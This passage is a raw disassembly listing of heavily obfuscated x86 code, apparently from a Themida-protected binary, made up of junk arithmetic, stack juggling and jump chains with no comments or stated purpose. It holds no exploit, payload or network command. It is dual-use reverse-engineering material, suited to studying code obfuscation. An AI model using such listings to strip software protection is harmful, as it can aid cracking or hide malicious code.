		add	esp, 4
		add	ebp, edx
		mov	edx, [esp+0Ch+var_C]
		push	69ABh
		mov	[esp+10h+var_12+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], ebp
		jmp	loc_5714A7
; ---------------------------------------------------------------------------


loc_5721A6:				; CODE XREF: sub_562ABA+741Ej
		mov	edx, edi
		mov	edi, [esp+2+var_4+2]
		jmp	loc_56F1D6
; ---------------------------------------------------------------------------


loc_5721B0:				; CODE XREF: sub_562ABA+9B40j
		add	ecx, edi
		jmp	loc_563BA1
; ---------------------------------------------------------------------------


loc_5721B7:				; CODE XREF: sub_562ABA-279Cj
		not	ebx
		and	ebx, 66CB2D12h
		dec	ebx
		and	ebx, 718056EAh
		add	ebx, 0DF7FFC04h
		add	ebp, ebx
		pop	ebx
		jmp	loc_57058C
; ---------------------------------------------------------------------------


loc_5721D4:				; CODE XREF: sub_562ABA-2BAj
		mov	edi, 0E8FB8CE1h
		sub	ebx, edi
		push	[esp+1Ah+var_1A]
		pop	edi
		add	esp, 4
		add	edx, ebx
		mov	ebx, [esp+16h+var_16]
		add	esp, 4
		jmp	loc_5652C2
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_5721EF	proc near		; CODE XREF: sub_55F3A9+Fj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		push	ecx
		jmp	loc_562B0B
sub_5721EF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_572207:				; CODE XREF: sub_562ABA+FD26j
		push	esp
		pop	ecx
		jmp	loc_55E759
; ---------------------------------------------------------------------------


loc_57220E:				; CODE XREF: sub_562ABA+D6ABj
		mov	[esp+3Eh+var_3E], esp
		add	[esp+3Eh+var_3E], 4
		mov	edi, [esp+3Eh+var_3E]
		add	esp, 4
		push	6AFBh
		mov	[esp+3Eh+var_3E], ebp
		push	4
		pop	ebp
		push	ebx
		mov	ebx, 2819280Ch
		and	ebx, 68E1206Eh
		or	ebx, 651F1AFEh
		and	ebx, 700303F2h
		jmp	loc_56CD4D
; ---------------------------------------------------------------------------


loc_57224C:				; CODE XREF: sub_562ABA+EAFDj
		xor	ebp, ecx
		mov	ecx, [esp+26h+var_28+2]
		jmp	loc_56A7FA
; ---------------------------------------------------------------------------


loc_572256:				; CODE XREF: sub_562ABA+BA09j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_57225B:				; CODE XREF: sub_562ABA+B46Fj
		add	[esp+26h+var_1E], 5B8A402Ah
		add	[esp+26h+var_1E], edx
		push	ebp
		mov	ebp, 5B8A402Ah
		sub	[esp+2Ah+var_1E], ebp
		pop	ebp
		add	[esp+26h+var_1E], 575A5B70h
		jmp	loc_570F99
; ---------------------------------------------------------------------------


loc_57227F:				; CODE XREF: sub_562ABA+C255j
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+32h+var_32]
		pop	esp
		mov	[esp+2Ah+var_2C+2], esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_569BEC
; ---------------------------------------------------------------------------


loc_57229B:				; CODE XREF: sub_562ABA+F46Dj
		mov	cl, bl
		pop	ebx
		pop	edx
		mov	ebx, [esp+12h+var_12]
		add	esp, 4
		pop	eax
		mov	[edi+eax*4], cl
		push	[esp+0Ah+var_C+2]
		push	dword ptr [esp+0]
		jmp	loc_56475A
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_5722B7	proc near		; CODE XREF: sub_562ABA+82Aj

; FUNCTION CHUNK AT 0055E948 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, 6CEF2ABFh
		inc	ebp
		neg	ebp
		xor	ebp, 9310D544h
		jmp	loc_55E948
sub_5722B7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5722CB:				; CODE XREF: sub_562ABA+8645j
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_55FEB9
; ---------------------------------------------------------------------------


loc_5722DE:				; CODE XREF: sub_562ABA+384Dj
		sub	[esp+8], ebp
		jmp	loc_55F942
; ---------------------------------------------------------------------------


loc_5722E7:				; CODE XREF: sub_562ABA+D04Dj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_56EDF7
; ---------------------------------------------------------------------------


loc_5722F8:				; CODE XREF: sub_562ABA+527Aj
		add	al, 91h
		push	[esp+1Ah+var_1A]
		mov	edx, [esp+1Eh+var_1E]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+22h+var_22]
		jmp	loc_564643
; ---------------------------------------------------------------------------


loc_572314:				; CODE XREF: sub_562ABA+ACF6j
		mov	[esp-4+arg_0], edx
		mov	edx, 1FC0400h
		jmp	loc_55F26D
; ---------------------------------------------------------------------------


loc_572321:				; CODE XREF: sub_562ABA+A8B6j
		push	ecx
		mov	ecx, 4
		sub	edi, 82D4183h
		jmp	loc_56FF68
; ---------------------------------------------------------------------------


loc_572332:				; CODE XREF: sub_562ABA+1D69j
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		mov	edx, [esp+32h+var_32]
		add	esp, 4
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		mov	[esp+2Ah+var_2C+2], edi
		push	4D4Eh
		mov	[esp+0], esp
		push	eax
		push	ebx
		mov	ebx, 1AA81272h
		add	ebx, 181935DAh
		inc	ebx
		sub	ebx, 32C14849h
		mov	eax, ebx
		pop	ebx
		add	[esp+4], eax
		push	[esp+32h+var_32]
		pop	eax
		push	2B61h
		mov	[esp+36h+var_36], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		pop	edi
		add	edi, 4
		jmp	loc_56BF7B
; ---------------------------------------------------------------------------


loc_5723A9:				; CODE XREF: sub_562ABA-3A37j
		add	esp, 4
		dec	ecx
		push	47EBh
		mov	[esp+32h+var_32], eax
		mov	eax, 272C717Eh
		push	eax
		xchg	edx, [esp+36h+var_36]
		not	edx
		xchg	edx, [esp+36h+var_36]
		pop	eax
		dec	eax
		add	eax, 1EEE2486h
		push	edi
		jmp	loc_56A848
; ---------------------------------------------------------------------------


loc_5723D0:				; CODE XREF: sub_562ABA+6069j
		mov	[esp+0], ebp
		mov	ebp, 780C17CAh
		push	ecx
		jmp	loc_560E9D
; ---------------------------------------------------------------------------


loc_5723DE:				; CODE XREF: sub_562ABA+40BDj
		mov	[esp+3Eh+var_3E], ebx
		jmp	loc_5707A5
; ---------------------------------------------------------------------------


loc_5723E6:				; CODE XREF: sub_562ABA+6D14j
		push	[esp+0Eh+var_C+2]
		mov	edx, [esp+12h+var_12]
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_5623A9
; ---------------------------------------------------------------------------


loc_5723FE:				; CODE XREF: sub_562ABA+8417j
		mov	esi, 6A50034Eh
		jmp	loc_564C1B
; ---------------------------------------------------------------------------


loc_572408:				; CODE XREF: sub_562ABA+779Aj
		mov	esp, [esp+20h+var_22+2]
		push	[esp+20h+var_22+2]
		push	dword ptr [esp+0]
		push	[esp+28h+var_28]
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_5686D2
; ---------------------------------------------------------------------------


loc_57242A:				; CODE XREF: sub_562ABA-3A8Bj
		pop	[esp+6+var_8+2]
		jmp	loc_562A87
; ---------------------------------------------------------------------------


loc_572432:				; CODE XREF: sub_562ABA+47CAj
		pop	bx
		jmp	loc_568969
; ---------------------------------------------------------------------------


loc_572439:				; CODE XREF: sub_562ABA+15E0j
		mov	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0], ebp
		jmp	loc_56C497
; ---------------------------------------------------------------------------


loc_57244A:				; CODE XREF: sub_562ABA+3DD8j
		mov	eax, 56D35B5Ch
		add	eax, 1
		shl	eax, 6
		jmp	loc_56CE73
; ---------------------------------------------------------------------------


loc_57245A:				; CODE XREF: sub_562ABA+8A66j
		mov	ecx, edx
		pop	edx
		shr	ecx, 2
		push	esi
		mov	esi, 465E2CDCh
		or	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 66EE43D2h
		sub	ecx, ebp
		pop	ebp
		sub	ecx, 394EA8AEh
		add	ebp, ecx
		pop	ecx
		jmp	loc_567D59
; ---------------------------------------------------------------------------


loc_572480:				; CODE XREF: sub_562ABA+973Cj
		mov	esp, [esp+2+var_4+2]
		sar	byte ptr [esp+2+var_4+2], cl
		pushf
		jmp	loc_56E31C
; ---------------------------------------------------------------------------


loc_57248C:				; CODE XREF: sub_562ABA-224Aj
		sub	ch, 4Ch
		sub	dl, ch
		jmp	loc_563785
; ---------------------------------------------------------------------------


loc_572496:				; CODE XREF: sub_562ABA+203j
		mov	[esp+0Ch+var_C], eax
		push	edx
		mov	edx, 0BA6014Eh
		sub	edx, 6F474D99h
		push	edi
		mov	edi, 10206C3Bh
		sub	edi, 0D4F1244h
		and	edi, 25262514h
		jmp	loc_564DF7
; ---------------------------------------------------------------------------


loc_5724BC:				; CODE XREF: sub_562ABA+F318j
		push	0E65h
		mov	[esp+36h+var_36], eax
		push	[esp+36h+var_32]
		pop	eax
		pop	[esp+36h+var_36]
		pop	esp
		mov	[esp+0], esi
		mov	esi, 5DC480BEh
		push	edx
		mov	edx, esi
		jmp	loc_5689D0
; ---------------------------------------------------------------------------


loc_5724DD:				; CODE XREF: sub_562ABA-E74j
		mov	ebp, [esp+32h+var_32]
		jmp	loc_560836
; ---------------------------------------------------------------------------


loc_5724E5:				; CODE XREF: sub_562ABA+C19Ej
		push	4201h
		mov	[esp+16h+var_16], ebx
		push	ebp
		jmp	loc_56C86A
; ---------------------------------------------------------------------------


loc_5724F3:				; CODE XREF: sub_562ABA-3924j
		mov	edi, 7BF51B9Dh
		push	785Ch
		mov	[esp+4Ah+var_4A], esi
		mov	esi, 1D494F38h
		or	edi, esi
		pop	esi
		jmp	loc_5605F7
; ---------------------------------------------------------------------------


loc_57250D:				; CODE XREF: sub_562ABA-1B97j
		mov	esp, [esp+48h+var_4A+2]
		push	[esp+48h+var_4A+2]
		mov	eax, [esp+4Ch+var_4E+2]
		add	esp, 4
		jmp	loc_5693FD
; ---------------------------------------------------------------------------


loc_572521:				; CODE XREF: sub_562ABA+D56Cj
		mov	esp, [esp+16h+var_16]
		jmp	loc_568332
; ---------------------------------------------------------------------------


loc_572529:				; CODE XREF: sub_562ABA-4487j
		shr	eax, 3
		add	eax, 2E0F1492h
		and	eax, 514B7532h
		and	eax, 17BD5632h
		not	eax
		sub	eax, 0F165D8CCh
		sub	ebp, eax
		pop	eax
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+42h+var_42]
		mov	esp, [esp+42h+var_42]
		push	0DB3h
		jmp	loc_5697A9
; ---------------------------------------------------------------------------


loc_572558:				; CODE XREF: sub_562ABA+4BF2j
		push	ecx
		mov	ecx, esp
		jmp	loc_56605A
; ---------------------------------------------------------------------------


loc_572560:				; CODE XREF: sub_562ABA+B267j
		mov	ebx, [esp+4Ch+var_4E+2]
		jmp	loc_570DA7
; ---------------------------------------------------------------------------


loc_572568:				; CODE XREF: sub_562ABA+1005Bj
		xor	[esp+4Ch+var_4E+2], eax
		xor	eax, [esp+4Ch+var_4E+2]
		pop	esp
		sub	esp, 4
		jmp	loc_5619F8
; ---------------------------------------------------------------------------


loc_572577:				; CODE XREF: sub_562ABA+1FC7j
		dec	ebp
		jmp	loc_55F852
; ---------------------------------------------------------------------------


loc_57257D:				; CODE XREF: sub_562ABA+A0F7j
		pop	ebx
		push	ebx
		jmp	loc_5648A5
; ---------------------------------------------------------------------------


loc_572584:				; CODE XREF: sub_562ABA+908Bj
		add	edi, ecx
		add	edi, 5A44612Eh
		jmp	loc_56D171
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_572591	proc near		; CODE XREF: sub_562ABA+98FFj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	4
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	edi, edx
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		push	ecx
		mov	ecx, 69C757A9h
		shl	ecx, 1
		or	ecx, 102D151Bh
		add	ecx, 2C5040A9h
		sub	edi, 2F7544C2h
		jmp	loc_56A262
sub_572591	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5725CD:				; CODE XREF: sub_562ABA+42E4j
		sub	ebp, 329E665Eh
		jmp	loc_56D355
; ---------------------------------------------------------------------------


loc_5725D8:				; CODE XREF: sub_562ABA+F0F3j
		add	esp, 4
		add	ecx, edx
		pop	edx
		pop	esi
		xchg	ecx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		add	word ptr [esp+1Eh+var_1E], ax
		pushf
		jmp	loc_5708BC
; ---------------------------------------------------------------------------


loc_5725F2:				; CODE XREF: sub_562ABA+97B5j
		xor	ecx, 2B7C2BCAh
		sub	ecx, 1F0D37CEh
		neg	ecx
		dec	ecx
		not	ecx
		add	ecx, 0F6712B5h
		add	edx, 1D7D2397h
		sub	edx, ecx
		push	esi
		mov	esi, 1D7D2397h
		jmp	loc_568E2F
; ---------------------------------------------------------------------------


loc_57261C:				; CODE XREF: sub_562ABA+CD0Cj
		push	0A7Ch
		jmp	loc_56C29F
; ---------------------------------------------------------------------------


loc_572626:				; CODE XREF: sub_562ABA+6680j
		push	edx
		mov	dh, ch
		jmp	loc_566971
; ---------------------------------------------------------------------------


loc_57262E:				; CODE XREF: sub_562ABA+81D5j
		push	dword ptr [esp+0]
		jmp	loc_563B34
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_572636:				; CODE XREF: Themida_:00561E39j
		pop	esp
		jmp	loc_56CA11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_57263C:				; CODE XREF: sub_562ABA-420Fj
		push	edi
		not	[esp+6+var_8+2]
		pop	edi
		sub	edi, 6B5C7799h
		shl	edi, 7
		add	edi, 94EA6493h
		sub	edx, edi
		pop	edi
		add	edx, 3A0F693Fh
		add	edx, ebp
		sub	edx, 3A0F693Fh
		add	edx, 6DF94413h
		pop	ebp
		jmp	loc_5647E0
; ---------------------------------------------------------------------------


loc_57266D:				; CODE XREF: sub_562ABA-24C8j
		xchg	ebx, edi
		xor	edi, 0AA7CD317h
		push	edi
		pop	edx
		jmp	loc_56C0A2
; ---------------------------------------------------------------------------


loc_57267C:				; CODE XREF: sub_562ABA-357Cj
		add	ecx, ebx
		mov	ebx, [esp+26h+var_28+2]
		jmp	loc_56142F
; ---------------------------------------------------------------------------


loc_572686:				; CODE XREF: sub_562ABA+C057j
		pop	edx
		sub	[esp+2Ah+var_28+2], 77D30671h
		sub	[esp+2Ah+var_28+2], 426A281Dh
		add	[esp+2Ah+var_28+2], ebp
		jmp	loc_572737
; ---------------------------------------------------------------------------


loc_5726A0:				; CODE XREF: sub_562ABA-16E5j
		inc	eax
		dec	eax
		sub	eax, 0CAAAF696h
		sub	ecx, eax
		pop	eax
		pop	eax
		sub	esi, ecx
		pop	ecx
		mov	ecx, esi
		push	[esp-1Ch+arg_18]
		pop	esi
		add	esp, 4
		jmp	loc_5600F4
; ---------------------------------------------------------------------------


loc_5726BC:				; CODE XREF: sub_562ABA+6055j
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	sub_572A4F
; ---------------------------------------------------------------------------


loc_5726CC:				; CODE XREF: sub_562ABA+59A3j
		add	edi, 7FCB2BABh
		add	edi, edx
		jmp	loc_56BA21
; ---------------------------------------------------------------------------


loc_5726D9:				; CODE XREF: sub_562ABA+8C4Cj
		pop	ebx
		xchg	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		btr	word ptr [esp+6+var_8+2], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5726EB:				; CODE XREF: sub_562ABA+6283j
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		add	edi, 4
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		jmp	loc_568487
; ---------------------------------------------------------------------------


loc_572704:				; CODE XREF: sub_562ABA-AAFj
		xor	edi, eax
		pop	eax
		add	eax, 4A981B63h
		sub	eax, edi
		push	edi
		jmp	loc_56DA8C
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_572714	proc near		; CODE XREF: sub_562ABA+360Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, 20010DE9h
		push	ebp
		not	[esp+8+var_8]
		pop	ebp
		xor	ebp, 0B2A8AED4h
		add	edx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		neg	edx
		jmp	loc_56BA2C
sub_572714	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_572737:				; CODE XREF: sub_562ABA+FBE1j
		add	[esp+2Ah+var_28+2], 426A281Dh
		add	[esp+2Ah+var_28+2], 77D30671h
		pop	ebp
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		add	ecx, 4
		push	5921h
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 4
		add	ecx, 75D152DDh
		add	ecx, ebp
		sub	ecx, 75D152DDh
		pop	ebp
		jmp	loc_572998
; ---------------------------------------------------------------------------


loc_572778:				; CODE XREF: sub_562ABA+AE9Cj
		sub	eax, 34CE4805h
		push	edi
		mov	edi, 30D53268h
		push	ecx
		mov	ecx, 703917ECh
		not	ecx
		jmp	loc_56AB2E
; ---------------------------------------------------------------------------


loc_572790:				; CODE XREF: sub_562ABA-Aj
		add	al, ch
		jmp	loc_565ADF
; ---------------------------------------------------------------------------


loc_572797:				; CODE XREF: sub_562ABA+65E5j
		push	1
		mov	ebp, [esp+22h+var_22]
		add	esp, 4
		and	eax, ebp
		push	[esp+1Eh+var_1E]
		push	[esp+22h+var_22]
		push	[esp+26h+var_28+2]
		jmp	loc_56CD92
; ---------------------------------------------------------------------------


loc_5727B5:				; CODE XREF: sub_562ABA+9E40j
		xor	edx, 47167D28h
		jmp	loc_5632A0
; ---------------------------------------------------------------------------


loc_5727C0:				; CODE XREF: sub_562ABA+2B36j
		add	ebx, 4
		push	edi
		jmp	loc_56B900
; ---------------------------------------------------------------------------


loc_5727CC:				; CODE XREF: sub_562ABA-48F2j
		mov	[esp+6+var_8+2], ebx
		push	[esp+6+var_8+2]
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		push	6D6Dh
		mov	[esp+0Ah+var_C+2], ecx
		jmp	loc_572207
; ---------------------------------------------------------------------------


loc_5727E5:				; CODE XREF: sub_562ABA+2803j
		sub	esi, 8235A2Dh
		pop	eax
		mov	eax, esi
		pop	esi
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		sub	esp, 4
		jmp	loc_56922C
; ---------------------------------------------------------------------------


loc_5727FB:				; CODE XREF: sub_562ABA-B3Fj
		add	ecx, 4
		jmp	loc_56DE2B
; ---------------------------------------------------------------------------


loc_572806:				; CODE XREF: sub_562ABA+3262j
		mov	[esp+12h+var_12], edi
		jmp	loc_5729EC
; ---------------------------------------------------------------------------


loc_57280E:				; CODE XREF: sub_562ABA+9D41j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56E8EB
; ---------------------------------------------------------------------------


loc_572822:				; CODE XREF: sub_562ABA+2898j
		push	ecx
		jmp	loc_5675AA
; ---------------------------------------------------------------------------


loc_572828:				; CODE XREF: sub_562ABA+A66Fj
		mov	[esp+1Eh+var_1E], edx
		pop	ecx
		pop	edx
		push	esi
		push	ecx
		add	[esp+1Eh+var_1E], 43934574h
		push	[esp+1Eh+var_1E]
		jmp	loc_55E68A
; ---------------------------------------------------------------------------


loc_57283E:				; CODE XREF: sub_562ABA+1F80j
		and	ecx, 13BD61D1h
		jmp	loc_56E08E
; ---------------------------------------------------------------------------


loc_572849:				; CODE XREF: sub_562ABA-146Bj
		sub	esi, 0BEE904FDh
		sub	ebx, esi
		jmp	loc_56990B
; ---------------------------------------------------------------------------


loc_572856:				; CODE XREF: sub_562ABA+6D3Aj
		shl	edx, 1
		push	edx
		not	[esp+4+var_4]
		jmp	loc_570A3A
; ---------------------------------------------------------------------------


loc_572861:				; CODE XREF: sub_562ABA+9A58j
		push	ecx
		mov	ch, 5Ch
		mov	al, 45h
		sub	al, ch
		pop	ecx
		shl	al, 4
		sub	al, 37h
		xor	cl, al
		pop	eax
		push	edx
		mov	dh, 44h
		add	dh, 0ACh
		xor	dh, 0F1h
		jmp	loc_560696
; ---------------------------------------------------------------------------


loc_57287F:				; CODE XREF: sub_562ABA+603Bj
		add	ebx, 4
		push	1B68h
		jmp	loc_56CD62
; ---------------------------------------------------------------------------


loc_57288F:				; CODE XREF: sub_562ABA+883Dj
		mov	ah, 6Fh
		add	bl, ah
		pop	eax
		jmp	loc_562E36
; ---------------------------------------------------------------------------


loc_572899:				; CODE XREF: sub_562ABA+C59Bj
		push	77E4h
		mov	[esp+2+var_4+2], edi
		push	6253h
		mov	[esp+6+var_8+2], ebx
		mov	ebx, esp
		jmp	loc_56DC03
; ---------------------------------------------------------------------------


loc_5728B0:				; CODE XREF: sub_562ABA+6E4Cj
		pop	esp
		add	eax, ecx
		push	[esp+2+var_4+2]
		pop	ecx
		add	esp, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		inc	byte ptr [esp+0]
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5728CC:				; CODE XREF: sub_562ABA+6FF1j
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_568D5D
; ---------------------------------------------------------------------------


loc_5728DA:				; CODE XREF: sub_562ABA+2216j
		push	eax
		jmp	loc_56A042
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_566E32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5728E9:				; CODE XREF: sub_562ABA+3886j
		pop	edi
		xchg	ebp, [esp+3Ah+var_3A]
		jmp	loc_56C41D
; ---------------------------------------------------------------------------


loc_5728F2:				; CODE XREF: sub_562ABA+2326j
		add	esp, 4
		mov	esi, [esp+36h+var_36]
		add	esp, 4
		add	esi, 7FA67874h
		pop	edx
		jmp	loc_56DB3D
; ---------------------------------------------------------------------------


loc_57290A:				; CODE XREF: sub_562ABA+8221j
		sub	edx, 4B536035h
		mov	ebp, [esp+32h+var_32]
		push	edx
		jmp	loc_56F641
; ---------------------------------------------------------------------------


loc_572919:				; CODE XREF: sub_562ABA-4458j
		add	ebx, 0A531440h
		sub	eax, 286A000Ah
		sub	eax, ebx
		add	eax, 286A000Ah
		jmp	loc_56196F
; ---------------------------------------------------------------------------


loc_572930:				; CODE XREF: sub_562ABA+8E56j
		push	small 2118h
		jmp	loc_571781
; ---------------------------------------------------------------------------


loc_572939:				; CODE XREF: sub_562ABA+4EF2j
		push	[esp+26h+var_22]
		pop	esi
		pop	[esp+26h+var_28+2]
		mov	esp, [esp+22h+var_22]
		mov	word ptr [esp+22h+var_22], cx
		movzx	cx, al
		jmp	loc_566759
; ---------------------------------------------------------------------------


loc_572951:				; CODE XREF: sub_562ABA+41DAj
		push	[esp+16h+var_16]
		pop	eax
		jmp	loc_560103
; ---------------------------------------------------------------------------


loc_57295A:				; CODE XREF: sub_562ABA+56A6j
		add	esp, 4
		xor	esi, [esp+12h+var_12]
		xor	[esp+12h+var_12], esi
		xor	esi, [esp+12h+var_12]
		jmp	loc_56ADE5
; ---------------------------------------------------------------------------


loc_57296B:				; CODE XREF: sub_562ABA+35EFj
		mov	edi, edx
		jmp	loc_57155E
; ---------------------------------------------------------------------------


loc_572972:				; CODE XREF: sub_562ABA+4701j
		mov	[esp+32h+var_32], eax
		push	dword ptr [esp+4]
		mov	eax, [esp+36h+var_36]
		push	edx
		jmp	loc_55F459
; ---------------------------------------------------------------------------


loc_572982:				; CODE XREF: sub_562ABA+A773j
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5643F6
; ---------------------------------------------------------------------------


loc_572990:				; CODE XREF: sub_562ABA+7440j
		push	ecx
		mov	ch, 0F0h
		jmp	loc_56CD10
; ---------------------------------------------------------------------------


loc_572998:				; CODE XREF: sub_562ABA+FCB9j
		push	877h
		mov	[esp+26h+var_28+2], ecx
		push	[esp+26h+var_22]
		pop	ecx
		jmp	loc_5712EE
; ---------------------------------------------------------------------------


loc_5729AA:				; CODE XREF: sub_562ABA+84Aj
		xchg	eax, ebp
		inc	eax
		jmp	loc_560216
; ---------------------------------------------------------------------------


loc_5729B1:				; CODE XREF: sub_562ABA+4F23j
		add	ah, 12h
		or	ah, 40h
		add	ah, 3Ch
		xor	ah, 5Ch
		jmp	loc_57114E
; ---------------------------------------------------------------------------


loc_5729C2:				; CODE XREF: sub_562ABA-2352j
		sub	edi, ebx
		jmp	loc_56EAB5
; ---------------------------------------------------------------------------


loc_5729C9:				; CODE XREF: sub_562ABA+C717j
		add	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_5711EA
; ---------------------------------------------------------------------------


loc_5729D7:				; CODE XREF: sub_562ABA+563Aj
		xor	ebp, 4676583Ah
		jmp	loc_562EAD
; ---------------------------------------------------------------------------


loc_5729E2:				; CODE XREF: sub_562ABA-716j
		pop	[esp+3Ah+var_3A]
		push	ebp
		push	edx
		jmp	loc_56EB0A
; ---------------------------------------------------------------------------


loc_5729EC:				; CODE XREF: sub_562ABA+FD4Fj
		mov	edi, esi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		jmp	loc_564AF3
; ---------------------------------------------------------------------------


loc_5729FD:				; CODE XREF: sub_562ABA+6BFBj
		mov	ecx, [esp+3Eh+var_3E]
		add	esp, 4
		xor	ebx, [esp+3Ah+var_3A]
		xor	[esp+3Ah+var_3A], ebx
		xor	ebx, [esp+3Ah+var_3A]
		jmp	loc_562FCE
; ---------------------------------------------------------------------------


loc_572A11:				; CODE XREF: sub_562ABA+AC3Ej
		push	ecx
		push	eax
		push	ebx
		mov	bh, 0A1h
		push	edx
		jmp	loc_571E4F
; ---------------------------------------------------------------------------


loc_572A1C:				; CODE XREF: sub_562ABA+1DB6j
		push	70495999h
		pop	ebx
		neg	ebx
		shr	ebx, 4
		jmp	loc_566376
; ---------------------------------------------------------------------------


loc_572A2C:				; CODE XREF: sub_562ABA+AEDj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_5631A0
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_572A44:				; CODE XREF: Themida_:005610AEj
		xor	ebp, 0D656DB90h
		jmp	loc_56968C

; =============== S U B	R O U T	I N E =======================================



sub_572A4F	proc near		; CODE XREF: sub_562ABA+FC0Dj
		sub	esp, 4
		jmp	loc_56F558
sub_572A4F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_572A5A:				; CODE XREF: sub_562ABA+E2E1j
		push	eax
		mov	eax, 145B0816h
		inc	eax
		push	ebx
		jmp	loc_56231D
; ---------------------------------------------------------------------------


loc_572A67:				; CODE XREF: sub_562ABA+D2FAj
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_56ACE6
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		jmp	loc_5686E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_572A87:				; CODE XREF: sub_562ABA+776j
		pop	edi
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		popa
		jmp	loc_56447D
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56017F


loc_572A9B:				; CODE XREF: sub_56017F+20DBj
		pop	edi
		jmp	loc_56A480
; END OF FUNCTION CHUNK	FOR sub_56017F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_572AA1:				; CODE XREF: sub_562ABA+129Cj
		mov	[esp+2Ah+var_2C+2], eax
		push	esi
		jmp	loc_560416
; ---------------------------------------------------------------------------


loc_572AAA:				; CODE XREF: sub_562ABA+165Ej
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_572AAF:				; CODE XREF: sub_562ABA-1855j
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], esp
		add	[esp-4+arg_0], 4
		pop	eax
		add	eax, 4
		push	ebp
		push	esp
		jmp	loc_56D978
; ---------------------------------------------------------------------------


loc_572AC7:				; CODE XREF: sub_562ABA+9CD7j
		pop	esi
		add	ebx, edi
		pop	edi
		push	eax
